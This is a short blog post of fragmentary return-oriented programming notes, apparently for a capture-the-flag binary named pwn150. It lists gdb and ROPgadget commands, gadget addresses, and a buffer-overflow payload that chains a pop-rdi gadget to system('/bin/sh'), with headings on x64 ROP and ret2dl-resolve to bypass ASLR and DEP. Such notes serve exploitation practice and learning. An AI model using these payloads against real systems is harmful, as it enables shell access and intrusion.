Press "Enter" to skip to content

Category: Uncategories


ROP Notes

system: p system 4008a8 6008a8 bin/sh gdb binary > start > find sh or elf.get_section_by_name(‘.dynsym’).header[‘sh_addr’] pop rdi ret ROPgadget –binary ./pwn150 –only “pop|ret” 0x400883 Reference: basic ROP: ROP x64: Main point: payload = “\x00″*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) pop rdi; ret POP POP POP , WRITE .BSS: return to dl (bypass aslr+dep): x64 provide libc:

Leave a Comment